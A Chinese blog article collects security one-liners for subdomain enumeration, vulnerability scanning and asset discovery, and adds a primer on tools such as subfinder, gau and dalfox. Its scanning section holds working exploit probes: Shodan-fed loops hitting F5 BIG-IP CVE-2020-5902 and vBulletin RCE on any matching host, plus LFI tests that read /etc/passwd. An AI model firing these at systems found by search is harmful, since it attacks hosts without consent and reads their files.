当前位置: 首页 > news >正文

网络安全侦察与漏洞扫描One-Liners

在网络安全领域,侦察(Reconnaissance)和漏洞扫描是发现潜在安全风险的重要步骤。本文整合了一系列高效的命令行工具和脚本,涵盖子域名枚举、漏洞扫描、资产发现和信息提取等技术,旨在为安全研究人员和渗透测试人员提供实用参考,并展现一行代码的强大能力。


一、子域名枚举技术

子域名枚举是侦察阶段的核心,用于发现目标域名的所有子域名。以下是多种来源的子域名收集方法,优化为高效的命令行操作。

1. 从 RapidDNS.io 获取子域名

通过 RapidDNS.io 的子域名查询接口,快速获取目标域名的子域名列表。

curl -s "https://rapiddns.io/subdomain/$1?full=1#result" | grep "<td><a" | cut -d '"' -f 2 | grep http | cut -d '/' -f3 | sed 's/#results//g' | sort -u

2. 从 BufferOver.run 获取子域名

利用 BufferOver.run 的 DNS 查询接口,提取目标域名的子域名。

curl -s "https://dns.bufferover.run/dns?q=.$1" | jq -r '.FDNS_A[]' | cut -d ',' -f2 | sort -u

3. 从 Riddler.io 获取子域名

通过 Riddler.io 的导出功能,获取目标域名的子域名。

curl -s "https://riddler.io/search/exportcsv?q=pld:$1" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

4. 从 VirusTotal 获取子域名

利用 VirusTotal 的子域名查询接口,获取目标域名的子域名。

curl -s "https://www.virustotal.com/ui/domains/$1/subdomains?limit=40" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

5. 从 CertSpotter 获取子域名

通过 CertSpotter 的证书透明度查询,获取目标域名的子域名。

curl -s "https://certspotter.com/api/v0/certs?domain=$1" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

6. 从 Web Archive 获取子域名

利用 Web Archive 的历史记录,提取目标域名的子域名。

curl -s "http://web.archive.org/cdx/search/cdx?url=*.$1/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u

7. 从 JLDC 获取子域名

通过 JLDC 的子域名查询接口,获取目标域名的子域名。

curl -s "https://jldc.me/anubis/subdomains/$1" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

8. 从 SecurityTrails 获取子域名

利用 SecurityTrails 的子域名查询接口,获取目标域名的子域名。

curl -s "https://securitytrails.com/list/apex_domain/$1" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".$1" | sort -u

9. 从 crt.sh 获取子域名

通过 crt.sh 的证书透明度查询,获取目标域名的子域名。

curl -s "https://crt.sh/?q=%25.$1&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

10. 从 Recon.dev 获取子域名

利用 Recon.dev 的 API,获取目标域名的子域名并进行存活检测。

curl "https://recon.dev/api/search?key=apikey&domain=$1" | jq -r '.[].rawDomains[]' | sed 's/ //g' | sort -u | httpx -silent

11. 子域名暴力枚举

使用 FFUF 结合词典进行子域名暴力枚举。

ffuf -u https://FUZZ.$1 -w jhaddixall.txt -v | grep "| URL |" | awk '{print $4}'

12. 子域名接管检测

结合多种子域名枚举工具和 subjack 检测子域名接管漏洞。

subfinder -d $1 >> domains.txt
assetfinder -subs-only $1 >> domains.txt
amass enum -norecursive -noalts -d $1 >> domains.txt
subjack -w domains.txt -t 100 -timeout 30 -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json -v 3 >> takeover.txt

二、漏洞扫描技术

漏洞扫描是发现目标系统潜在安全问题的关键步骤。以下是针对常见漏洞的自动化扫描脚本。

1. 本地文件包含(LFI)

利用 gau 和 gf 工具检测本地文件包含漏洞,尝试读取 /etc/passwd 文件。

gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

2. 开放重定向

检测开放重定向漏洞,通过替换参数并检查重定向到指定主机。

export LHOST="http://localhost"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'

3. 跨站脚本(XSS)

使用 gospider 和 dalfox 工具扫描 XSS 漏洞,过滤无关文件类型。

gospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}' | grep "=" | qsreplace -a | dalfox pipe | tee result.txt

4. CVE-2020-5902 漏洞

检测 F5 BIG-IP 的 CVE-2020-5902 漏洞,尝试读取 /etc/passwd 文件。

shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host; do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n"; done

5. vBulletin 5.6.2 远程代码执行

检测 vBulletin 5.6.2 的远程代码执行漏洞,尝试执行 phpinfo()。

shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host; do curl -s "http://$host/ajax/render/widget_tabbedcontainer_tab_panel" -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n"; done

6. CORS 误配置

检测跨源资源共享(CORS)配置漏洞,尝试使用恶意 Origin。

site="https://$1"; gau "$site" | while read url; do target=$(curl -s -I -H "Origin: https://evil.com" -X GET "$url"); if echo "$target" | grep -q 'https://evil.com'; then echo "[Potential CORS Found] $url"; else echo "Nothing on $url"; fi; done

三、资产与信息提取

资产发现和信息提取是侦察的重要组成部分,用于收集目标的 IP 地址、JavaScript 文件、API 端点等信息。

1. 查找 JavaScript 文件

从目标网站提取 JavaScript 文件并分析潜在变量。

assetfinder $1 | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.woff)' | while read url; do vars=$(curl -s "$url" | grep -Eo "var [a-zA-Z0-9_]+" | sed -e 's,var ,"$url"?,g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars"; done

2. 从 JavaScript 文件提取端点

从 JavaScript 文件中提取 API 端点。

cat main.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u

3. 从 Swagger 文件提取端点

从 Swagger JSON 文件中提取 API 端点。

curl -s "https://$1/v2/swagger.json" | jq '.paths | keys[]'

4. 从 Sitemap.xml 提取 URL

从目标站点的 sitemap.xml 文件中提取所有 URL。

curl -s "https://$1/sitemap.xml" | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g'

5. 从 Content-Security-Policy 提取域名

通过 Content-Security-Policy 头信息提取相关域名。

curl -v -silent "https://$1" --stderr - | awk '/^content-security-policy:/' | grep -Eo "[a-zA-Z0-9./?=_-]*" | sed -e '/\./!d' -e '/[^A-Za-z0-9._-]/d' -e 's/^\.//' | sort -u

6. 提取 CIDR 和组织信息

从目标域名解析的 IP 地址中提取 CIDR 和组织信息。

for DOMAIN in $(cat domains.txt); do echo $(for ip in $(dig a "$DOMAIN" +short); do whois "$ip" | grep -e "CIDR\|Organization" | tr -s " " | paste - -; done | uniq); done

7. 从 IP 地址提取子域名

通过 HostHunter 工具从 IP 地址列表中提取虚拟主机和子域名。

python3 hosthunter.py target-ips.txt > vhosts.txt

8. 从 APK 文件提取端点

使用 apkurlgrep 从 Android APK 文件中提取 API 端点。

apkurlgrep -a path/to/file.apk

9. 从 APK 文件提取敏感信息

通过 apktool 解包 APK 文件并提取敏感信息(如 API 密钥、密码等)。

apktool d apk; grep -EHim "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder

10. 提取 IP 地址

从文件中提取所有合法的 IP 地址。

grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt

四、其他实用技术

1. 端口扫描(绕过 CloudFlare)

结合 subfinder、naabu 和 httprobe 进行端口扫描,绕过 CloudFlare 保护。

subfinder -silent -d $1 | filter-resolved | cf-check | sort -u | naabu -rate 40000 -silent -verify | httprobe

2. 创建自定义词典

从目标域名的 URL 中提取关键字和路径,生成自定义词典。

gau $1 | unfurl -u keys | tee -a wordlist.txt
gau $1 | unfurl -u paths | tee -a ends.txt
sed 's#/#\n#g' ends.txt | sort -u | tee -a wordlist.txt
sed -i -e 's/\.css\|\.png\|\.jpeg\|\.jpg\|\.svg\|\.gif\|\.woff\|\.bmp//g' wordlist.txt
rm ends.txt

3. 提取 HTTP 标题

从 URL 列表中提取网页标题信息。

for i in $(cat urls.txt); do echo "$i | $(curl --connect-timeout 0.5 "$i" -so - | grep -iPo '(?<=<title>)(.*)(?=</title>)')"; done | tee -a titles.txt

4. URL 探针

使用 parallel 和 curl 并发探测 URL 的状态码和响应大小。

cat alive-subdomains.txt | parallel -j50 -q curl -w 'Status:%{http_code}\tSize:%{size_download}\t%{url_effective}\n' -o /dev/null -sk

5. 从 IP 范围提取子域名

通过 Nmap 扫描 IP 范围并提取子域名。

nmap $1 | grep "domain" | awk '{print $5}'

6. 查找隐藏服务器或管理面板

使用 FFUF 进行虚拟主机枚举,查找隐藏服务器或管理面板。

ffuf -c -u "https://$1" -H "Host: FUZZ" -w vhost_wordlist.txt

7. 获取 Chaos Bugbounty 资产

从 Chaos Bugbounty 列表中提取目标域名的资产。

curl -sL https://github.com/projectdiscovery/public-bugbounty-programs/raw/master/chaos-bugbounty-list.json | jq -r '.programs[].domains | to_entries | .[].value'

8. 获取 Bounty Targets 资产

从多个赏金平台(如 HackerOne、BugCrowd 等)提取目标资产。

# HackerOne
curl -sL https://github.com/arkadiyt/bounty-targets-data/blob/master/data/hackerone_data.json?raw=true | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv'# BugCrowd
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'# Intigriti
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/intigriti_data.json | jq -r '.[].targets.in_scope[] | [.endpoint, .type] | @tsv'# YesWeHack
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/yeswehack_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'# HackenProof
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/hackenproof_data.json | jq -r '.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv'# Federacy
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/federacy_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'

五、总结与核心工具介绍

本文整合了多种网络安全侦察和漏洞扫描技术,涵盖子域名枚举、漏洞扫描、资产发现和信息提取等方面。从中可以看出,命令行工具的高效性和灵活性使其成为安全研究人员的首选。下面将精要介绍本文中常用的核心工具,帮助你快速构建自动化工作流。

1. Subfinder

功能:Subfinder 是一款快速子域名枚举工具,支持从多个来源(如 VirusTotal、CertSpotter、DNS 数据库等)收集子域名,适合大规模侦察。

主要用法

  • 枚举子域名:subfinder -d example.com -o subdomains.txt
  • 静默模式:subfinder -silent -d example.com
  • 指定来源:subfinder -d example.com -sources virustotal,crtsh

快速上手

  1. 安装:go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
  2. 配置 API 密钥:编辑 ~/.config/subfinder/config.yaml,添加 VirusTotal、SecurityTrails 等服务的 API 密钥。
  3. 运行简单命令:subfinder -d example.com -o subdomains.txt 即可获取子域名列表。
  4. 提示:使用 -silent 减少输出噪音,结合 httpx 验证存活域名。

2. Assetfinder

功能:Assetfinder 是一款轻量级子域名枚举工具,通过查询 crt.sh、VirusTotal 等服务快速发现子域名,适合初学者。

主要用法

  • 枚举子域名:assetfinder example.com
  • 仅输出子域名:assetfinder --subs-only example.com

快速上手

  1. 安装:go install github.com/tomnomnom/assetfinder@latest
  2. 运行:assetfinder example.com > subdomains.txt
  3. 提示:输出结果可直接管道到 httpxgau 进行进一步处理,例如 assetfinder example.com | httpx -silent

3. Gau

功能:Gau(Get All URLs)用于从 Wayback Machine、Common Crawl 和 AlienVault OTX 等来源收集目标域名的历史和现存 URL,适合发现隐藏端点。

主要用法

  • 收集 URL:gau example.com
  • 指定来源:gau --providers wayback example.com
  • 过滤黑名单:gau example.com --blacklist png,jpg,css

快速上手

  1. 安装:go install github.com/lc/gau/v2/cmd/gau@latest
  2. 运行:gau example.com > urls.txt
  3. 提示:结合 gf 工具过滤特定漏洞模式,如 gau example.com | gf xss

4. Httpx

功能:Httpx 是一款快速 HTTP 探针工具,用于验证域名或 URL 的存活性,并返回状态码、标题等信息,支持高并发。

主要用法

  • 验证存活:httpx -l domains.txt
  • 返回状态码:httpx -l domains.txt -status-code
  • 静默输出:httpx -l domains.txt -silent

快速上手

  1. 安装:go install github.com/projectdiscovery/httpx/cmd/httpx@latest
  2. 运行:cat domains.txt | httpx -silent > live-domains.txt
  3. 提示:使用 -follow-redirects 跟踪重定向,-mc 200 过滤特定状态码。

5. GF

功能:GF(Grep Filter)是一个模式匹配工具,用于从输入数据中提取特定漏洞模式(如 XSS、LFI、SQLi),支持自定义规则。

主要用法

  • 提取 XSS 模式:cat urls.txt | gf xss
  • 提取 LFI 模式:cat urls.txt | gf lfi
  • 自定义模式:gf -list 查看可用模式

快速上手

  1. 安装:go install github.com/tomnomnom/gf@latest
  2. 配置:复制示例模式 cp -r /path/to/gf/examples ~/.gf
  3. 运行:gau example.com | gf xss > xss_urls.txt
  4. 提示:创建自定义模式文件(如 xss.json)并放入 ~/.gf 目录以扩展功能。

6. Qsreplace

功能:Qsreplace 是一个 URL 参数替换工具,用于快速修改 URL 参数值,适合测试 XSS、开放重定向等漏洞。

主要用法

  • 替换参数值:cat urls.txt | qsreplace "test"
  • 替换所有参数:cat urls.txt | qsreplace -a "test"
  • 静默模式:qsreplace "test" < urls.txt

快速上手

  1. 安装:go install github.com/tomnomnom/qsreplace@latest
  2. 运行:cat urls.txt | qsreplace "<script>alert(1)</script>" > xss_test.txt
  3. 提示:结合 curldalfox 进行自动化测试,如 cat urls.txt | qsreplace "test" | xargs curl -s.

7. Dalfox

功能:Dalfox 是一款强大的 XSS 扫描工具,支持自动化参数注入、过滤器绕过和结果验证。

主要用法

  • 扫描 URL:dalfox url https://example.com
  • 管道输入:cat urls.txt | dalfox pipe
  • 输出结果:dalfox file urls.txt -o result.txt

快速上手

  1. 安装:go install github.com/hahwul/dalfox/v2@latest
  2. 运行:cat urls.txt | dalfox pipe > xss_results.txt
  3. 提示:使用 --grep 指定自定义 payload,或结合 gauqsreplace 提高效率。

8. FFUF

功能:FFUF(Fuzz Faster U Fool)是一款高性能模糊测试工具,用于子域名、虚拟主机、目录和参数枚举,支持自定义词典。

主要用法

  • 子域名枚举:ffuf -u https://FUZZ.example.com -w wordlist.txt
  • 虚拟主机枚举:ffuf -u https://example.com -H "Host: FUZZ" -w vhosts.txt
  • 过滤状态码:ffuf -u https://example.com/FUZZ -w wordlist.txt -mc 200

快速上手

  1. 安装:go install github.com/ffuf/ffuf@latest
  2. 下载词典:使用 SecLists 或 jhaddixall.txt(wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt)。
  3. 运行:ffuf -u https://FUZZ.example.com -w subdomains.txt
  4. 提示:调整 -t(线程数)以优化性能,-mc 过滤无关状态码。

9. Naabu

功能:Naabu 是一款快速端口扫描工具,支持高并发和大规模 IP 扫描,适合发现开放服务。

主要用法

  • 扫描端口:naabu -host example.com
  • 扫描 IP 列表:naabu -l ips.txt
  • 高并发:naabu -host example.com -rate 40000

快速上手

  1. 安装:go install github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
  2. 运行:naabu -l ips.txt -silent > open-ports.txt
  3. 提示:结合 httprobe 验证 HTTP 服务,如 naabu -l ips.txt | httprobe

10. Jq

功能:Jq 是一款轻量级 JSON 数据处理工具,用于解析和提取 API 响应中的特定字段,广泛用于处理结构化数据。

主要用法

  • 提取字段:cat data.json | jq -r '.field'
  • 解析数组:cat data.json | jq -r '.[].name'
  • 格式化输出:jq '.' data.json

快速上手

  1. 安装:Linux(sudo apt install jq),Mac(brew install jq)。
  2. 运行:curl -s https://api.example.com | jq -r '.[].domain'
  3. 提示:使用 -r 输出纯文本,结合 curl 处理 API 响应。

更多学习资源:参考工具的 GitHub 文档(如 Subfinder、Gau)或社区教程(如 HackTricks、Bugcrowd University)。

相关文章:

网络安全侦察与漏洞扫描One-Liners

在网络安全领域&#xff0c;侦察&#xff08;Reconnaissance&#xff09;和漏洞扫描是发现潜在安全风险的重要步骤。本文整合了一系列高效的命令行工具和脚本&#xff0c;涵盖子域名枚举、漏洞扫描、资产发现和信息提取等技术&#xff0c;旨在为安全研究人员和渗透测试人员提供…...

React Native告别图标体积大手动更换慢的噩梦:让图标更新像修改文字一样简单

写在前面:凌晨三点的图标战争 “所有图标都要换成圆角风格,明天上线!”——产品经理这条消息弹出时,我的保温杯差点从手中滑落。扫了一眼项目中的347个图标文件,我知道今晚又是个不眠夜。但就在绝望之际,同事发来一个GIF:他只是在终端输入了iconfont-rn --update,所有…...

【机器学习赋能的智能光子学器件系统研究与应用】

在人工智能与光子学设计融合的背景下&#xff0c;科研的边界持续扩展&#xff0c;创新成果不断涌现。从理论模型的整合到光学现象的复杂模拟&#xff0c;从数据驱动的探索到光场的智能分析&#xff0c;机器学习正以前所未有的动力推动光子学领域的革新。据调查&#xff0c;目前…...

信奥赛-刷题笔记-队列篇-T2-P1540机器翻译和P2952Cow Line S

总题单 本部分总题单如下 【腾讯文档】副本-CSP-JSNOI 题单 (未完待续) https://docs.qq.com/sheet/DSmJuVXR4RUNVWWhW?tabBB08J2 队列篇题单 P1540 [NOIP 2010 提高组] 机器翻译 https://www.luogu.com.cn/problem/P1540 题目背景 NOIP2010 提高组 T1 题目描述 小晨…...

ESP32C3连接wifi

文章目录 &#x1f527; 一、ESP32-C3 连接 Wi-Fi 的基本原理&#xff08;STA 模式&#xff09;✅ 二、完整代码 注释讲解&#xff08;适配 ESP32-C3&#xff09;&#x1f4cc; 三、几个关键点解释&#x1f51a; 四、小结 &#x1f527; 一、ESP32-C3 连接 Wi-Fi 的基本原理&a…...

nvidia驱动更新-先卸载再安装-ubuntu

显卡驱动升级前&#xff0c;卸载旧版本&#xff0c;可采用两种方式。 1.命令行 &#xff08;1&#xff09;查找已安装的 NVIDIA 驱动和相关包&#xff1a;dpkg -l | grep nvidia &#xff08;2&#xff09;完全卸载 NVIDIA 驱动&#xff1a;sudo apt remove purge nvidia-*…...

SparkSQL 连接 MySQL 并添加新数据:实战指南

SparkSQL 连接 MySQL 并添加新数据&#xff1a;实战指南 在大数据处理中&#xff0c;SparkSQL 作为 Apache Spark 的重要组件&#xff0c;能够方便地与外部数据源进行交互。MySQL 作为广泛使用的关系型数据库&#xff0c;与 SparkSQL 的结合可以充分发挥两者的优势。本文将详细…...

Tomcat与纯 Java Socket 实现远程通信的区别

Servlet 容器​​&#xff08;如 Tomcat&#xff09; 是一个管理 Servlet 生命周期的运行环境&#xff0c;主要功能包括&#xff1a; ​​协议解析​​&#xff1a;自动处理 HTTP 请求/响应的底层协议&#xff08;如报文头解析、状态码生成&#xff09;&#xff1b; ​​线程…...

Ubuntu 18.04.6下OpenSSL与OpenSSH版本升级

文章目录 升级背景下载必要软件包安装 zlib创建目录解压文件安装前置依赖离线安装依赖编译安装 zlib 安装 OpenSSL检查当前版本创建安装目录下载并解压 OpenSSL配置与安装验证安装解决动态库依赖问题永久更新环境变量安装OpenSSL常见错误 离线安装 Telnet 服务端指南1. 在联网机…...

BFS算法篇——从晨曦到星辰,BFS算法在多源最短路径问题中的诗意航行(下)

文章目录 引言一、01矩阵1.1 题目链接&#xff1a;https://leetcode.cn/problems/01-matrix/description/1.2 题目分析&#xff1a;1.3 思路讲解&#xff1a;1.4 代码实现&#xff1a; 二、飞地的数量2.1 题目链接&#xff1a;https://leetcode.cn/problems/number-of-enclaves…...

Cold Diffusion: Inverting Arbitrary Image Transforms Without Noise论文阅读

冷扩散&#xff1a;无需噪声的任意图像变换反转 摘要 标准扩散模型通常涉及两个核心步骤&#xff1a;图像降质 &#xff08;添加高斯噪声&#xff09;和图像恢复 &#xff08;去噪操作&#xff09;。本文发现&#xff0c;扩散模型的生成能力并不强烈依赖于噪声的选择&#xf…...

c++进阶——哈希表的实现

文章目录 哈希表的实现unordered_map和unordered_set哈希的引入散列的一些基本概念将Key转成整形和哈希函数哈希冲突负载因子 开放定址法和链地址法哈希函数的选取除法散列法/除留余数法乘法散列法全域散列法(了解)其他方法&#xff08;了解&#xff09; 针对于开放定址法的哈希…...

visual studio生成动态库DLL

visual studio生成动态库DLL 创建动态库工程 注意 #include “pch.h” 要放在上面 完成后点击生成 创建一个控制台项目 设置项目附加目录为刚才创建的动态库工程Dll1&#xff1a; 配置附加库目录&#xff1a; 配置动态库的导入库&#xff08;.lib&#xff09;&#xff1a;链…...

逆强化学习IRL在医疗行为模式研究中的应用

逆强化学习(Inverse Reinforcement Learning, IRL)通过从专家行为中推断潜在奖励函数,近年来在医疗领域的患者行为模式分析中展现出重要价值。 以下是相关研究的具体分析: 1. 脓毒症治疗策略优化 研究背景:脓毒症治疗依赖复杂的临床决策,但传统强化学习需预先定义奖励…...

niushop单商户V5多门店版V5.5.0全插件+商品称重、商家手机端+搭建环境教程

一.系统介绍 【全开源】niushop单商户V5多门店版V5.5.0版本&#xff0c;我看很多人都想要 商品称重、商家手机端等插件这套是全插件版本&#xff0c;整合起来本博主也花了不少啦~ Niushop系统是应用thinkphp6开发的完善的电商系统&#xff0c;拥有完善的商品机制&#xff0c;…...

Kafka Go客户端--Sarama

Kafka Go客户端 在Go中里面有三个比较有名气的Go客户端。 Sarama:用户数量最多&#xff0c;早期这个项目是在Shopify下面&#xff0c;现在挪到了IBM下。segmentio/kafka-go:没啥大的缺点。confluent-kafka-go&#xff1a;需要启用cgo,跨平台问题比较多&#xff0c;交叉编译也…...

Python打卡 DAY 24

知识点回顾&#xff1a; 1. 元组 2. 可迭代对象 3. os模块 作业&#xff1a;对自己电脑的不同文件夹利用今天学到的知识操作下&#xff0c;理解下os路径。 OS 模块 import os # os是系统内置模块&#xff0c;无需安装 获取当前工作目录 os.getcwd() # get current working…...

为什么hadoop不用Java的序列化?

Java的序列化是一个重量级序列化框架&#xff08;Serializable&#xff09;&#xff0c;一个对象被序列化后&#xff0c;会附带很多额外的信息&#xff08;各种校验信息&#xff0c;Header&#xff0c;继承体系等&#xff09;&#xff0c;不便于在网络中高效传输。所以&#xf…...

《类和对象(下)》

引言&#xff1a; 书接上回&#xff0c;如果说类和对象&#xff08;上&#xff09;是入门阶段&#xff0c;类和对象&#xff08;中&#xff09;是中间阶段&#xff0c;那么这次的类和对象&#xff08;下&#xff09;就可以当做类和对象的补充及收尾。 一&#xff1a;再探构造…...

基于STM32、HAL库的TLV320AIC3101IRHBR音频接口芯片驱动程序设计

一、简介: TLV320AIC3101IRHBR 是 Texas Instruments 推出的高性能、低功耗音频编解码器,专为便携式和电池供电设备设计。它集成了立体声 ADC、DAC、麦克风前置放大器、耳机放大器和数字信号处理功能,支持 I2S/PCM 音频接口和 I2C 控制接口,非常适合与 STM32 微控制器配合…...

EDR与XDR如何选择适合您的网络安全解决方案

1. 什么是EDR&#xff1f; 端点检测与响应&#xff08;EDR&#xff09; 专注于保护端点设备&#xff08;如电脑、服务器、移动设备&#xff09;。通过在端点安装代理软件&#xff0c;EDR实时监控设备活动&#xff0c;检测威胁并快速响应。 EDR核心功能 实时监控&#xff1a;…...

Vue2 elementUI 二次封装命令式表单弹框组件

需求&#xff1a;封装一个表单弹框组件&#xff0c;弹框和表单是两个组件&#xff0c;表单以插槽的形式动态传入弹框组件中。 使用的方式如下&#xff1a; 直接上代码&#xff1a; MyDialog.vue 弹框组件 <template><el-dialog:titletitle:visible.sync"dialo…...

jenkins流水线常规配置教程!

Jenkins流水线是在工作中实现CI/CD常用的工具。以下是一些我在工作和学习中总结出来常用的一些流水线配置&#xff1a;变量需要加双引号括起来 "${main}" 一 引用无账号的凭据 使用变量方式引用&#xff0c;这种方式只适合只由密码&#xff0c;没有用户名的凭证。例…...

设计模式系列(02):设计原则(一):SRP、OCP、LSP

本文为设计模式系列第2篇,聚焦面向对象设计的三大核心原则:单一职责、开放封闭、里氏替换,系统梳理定义、实际业务场景、优缺点、最佳实践与常见误区,适合系统学习与团队协作。 目录 1. 引言2. 单一职责原则(SRP)3. 开放封闭原则(OCP)4. 里氏替换原则(LSP)5. 常见误区…...

【日常】AI 工作流

AI 工作流 名称使用场景产品形态其他ChatGPT网页LLMGemini可以生成一份深度研究的文档并保存到Google Docs网页LLM白嫖了一年会员Kimi日常网页LLMDeepSeek深度思考网页LLMGrok3Deep Research 深度搜索网页LLMQwen3网页LLM元宝可免费使用DS的深度思考&#xff08;满血DS R1版&a…...

问题及解决02-处理后的图像在坐标轴外显示

一、问题 在使用matlab的appdesigner工具来设计界面&#xff0c;可以通过点击处理按钮来处理图像&#xff0c;并将处理后的图像显示在坐标轴上&#xff0c;但是图像超出了指定的坐标轴&#xff0c;即处理后的图像在坐标轴外显示。 问题图如下图所示。 原来的坐标轴如下图所…...

Spark基础介绍

Spark是一种基于内存的快速、通用、可拓展的大数据分析计算引擎。 起源阶段 Spark 最初是在 2009 年由加州大学伯克利分校的 AMP 实验室开发。当时&#xff0c;Hadoop 在大数据处理领域占据主导地位&#xff0c;但 MapReduce 在某些复杂计算场景下&#xff0c;如迭代计算和交互…...

Oracles数据库通过存储过程调用飞书接口推送群组消息

在Oracle数据库中,可以通过存储过程调用外部接口来实现推送消息的功能。以下是一个示例,展示如何通过存储过程调用飞书接口推送群组消息。 创建存储过程 首先,创建一个存储过程,用于调用飞书接口。该存储过程使用UTL_HTTP包来发送HTTP请求。 CREATE OR REPLACE PROCEDUR…...

ubuntu22.04编译PX4无人机仿真实践

克隆PX4源码,并且更新子模块 git clone https://github.com/PX4/PX4-Autopilot.git --recursive git submodule update --init --recursive # 强制同步所有子模块 接着安装相关依赖: bash ./PX4-Autopilot/Tools/setup/ubuntu.sh 运行以下命令进行编译: cd ~/PX4-Autop…...

MySQL基础入门:MySQL简介与环境搭建

引言 在数字化转型浪潮中&#xff0c;MySQL作为数据存储的"基石引擎"&#xff0c;支撑着从电商交易到金融风控的各类核心业务。其高并发处理能力、灵活的架构设计及跨平台兼容性&#xff0c;使其成为开发者技术栈中的"常青树"。本章节将通过历史溯源、技术…...

无人机避障——(运动规划部分)深蓝学院动力学kinodynamic A* 3D算法理论解读(附C++代码)

开源代码链接&#xff1a;GitHub - Perishell/motion-planning 效果展示&#xff1a; ROS 节点展示全局规划和轨迹生成部分&#xff1a; Kinodynamic A*代码主体&#xff1a; int KinoAstar::search(Eigen::Vector3d start_pt, Eigen::Vector3d start_vel,Eigen::Vector3d en…...

电脑声音小怎么调大 查看声音调整方法

电脑是我们工作学习经常需要用到的工具&#xff0c;同时电脑也可以播放音乐、视频、游戏等&#xff0c;享受声音的效果。但是&#xff0c;有些电脑的声音很小&#xff0c;即使把音量调到最大&#xff0c;也听不清楚&#xff0c;这让我们很苦恼。那么&#xff0c;电脑声音小怎么…...

无人机信号监测系统技术解析

一、模块技术要点 1. 天线阵列与信号接收模块 多频段自适应切换&#xff1a;采用天线阵列模块&#xff0c;根据复杂地形和不同频段自动切换合适的天线&#xff0c;提升信号接收灵敏度。 双天线测向技术&#xff1a;通过双天线的RSSI&#xff08;信号接收强度&#xff09;差值…...

Excel的详细使用指南

### **一、Excel基础操作** #### **1. 界面与基本概念** - **工作簿&#xff08;Workbook&#xff09;**&#xff1a;一个Excel文件&#xff08;扩展名.xlsx&#xff09;。 - **工作表&#xff08;Worksheet&#xff09;**&#xff1a;工作簿中的单个表格&#xff08;默认名…...

基于SSM实现的健身房系统功能实现十六

一、前言介绍&#xff1a; 1.1 项目摘要 随着社会的快速发展和人们健康意识的不断提升&#xff0c;健身行业也在迅速扩展。越来越多的人加入到健身行列&#xff0c;健身房的数量也在不断增加。这种趋势使得健身房的管理变得越来越复杂&#xff0c;传统的手工或部分自动化的管…...

序列化和反序列化(hadoop)

1.先将上一个博客的Student复制粘贴后面加上H 在StudentH中敲下面代码 package com.example.sei; import org.apache.hadoop.io.Writable; import java.io.DataInput; import java.io.DataOutput; import java.io.IOException; //学生类&#xff0c;姓名&#xff0c;年龄 //支…...

大模型MCP_MCP从流式SSE到流式HTTP_1.8.0支持流式HTTP交互_介绍_从应用到最优--人工智能工作笔记0245

从最开始的大模型时代,到现在MCP,大模型技术,人工智能技术迭代真的非常快 之前的大模型更像一个大脑,能帮大家出点子,然后告诉你思路,你去解决问题,但是 一直不能自己解决问题,后来出来了通用的manus智能体,声称可以解决很多问题.直接操作 一个自带的电脑,但是也有局限性,还…...

docker大镜像优化实战

